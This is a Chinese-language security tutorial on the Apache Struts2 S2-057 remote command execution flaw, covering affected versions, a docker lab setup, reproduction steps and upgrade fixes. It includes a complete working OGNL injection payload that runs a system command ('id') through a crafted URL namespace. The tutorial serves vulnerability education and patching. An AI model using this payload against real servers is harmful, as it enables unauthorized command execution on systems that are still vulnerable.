Struts2 是一直受到java程序猿的親賴,以此框架開發的業務系統被應用於金融、政府、醫療、交通等等各種行業,但正是因為這個原因,每次被爆Struts2漏洞,都會引起強烈反響,N多人開始恐慌,為了大家能夠簡單直觀瞭解這個漏洞,我們以最近爆出Struts-057漏洞為例來給大家普及一下
Struts 2簡介
Apache Struts 2最初被稱為WebWork 2,它是一個簡潔的、可擴展的框架,可用於創建企業級Java web應用程序。設計這個框架是為了從構建、部署、到應用程序維護方面來簡化整個開發週期。
Struts2-057
當Struts2的配置滿足以下條件時:
- alwaysSelectFullNamespace值為true
- action元素未設置namespace屬性,或使用了通配符
namespace將由用戶從uri傳入,並作為OGNL表達式計算,最終造成任意命令執行漏洞。
影響版本:
小於等於 Struts 2.3.34 與 Struts 2.5.16
漏洞詳情:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://lgtm.com/blog/apache_struts_CVE-2018-11776
- https://xz.aliyun.com/t/2618
- https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
漏洞環境
啟動滿足條件的 Struts 2.3.34 環境:
docker-compose up -d
環境啟動後,訪問http://your-ip:8080/showcase/,將可以看到Struts2的測試頁面。
漏洞復現
測試OGNL表達式${233*233}:
http://your-ip:8080/struts2-showcase/${233*233}/actionChain1.action
可見233*233的結果已返回在Location頭中。
使用S2-057原理分析與復現過程(POC)中給出的執行任意命令的OGNL表達式:
${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
可見,id命令已成功執行(活動root用戶的相關信息):
漏洞修復
升級到Struts 2.3.35或Struts 2.5.17
文章參考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057
閱讀更多 Web安全陪跑團 的文章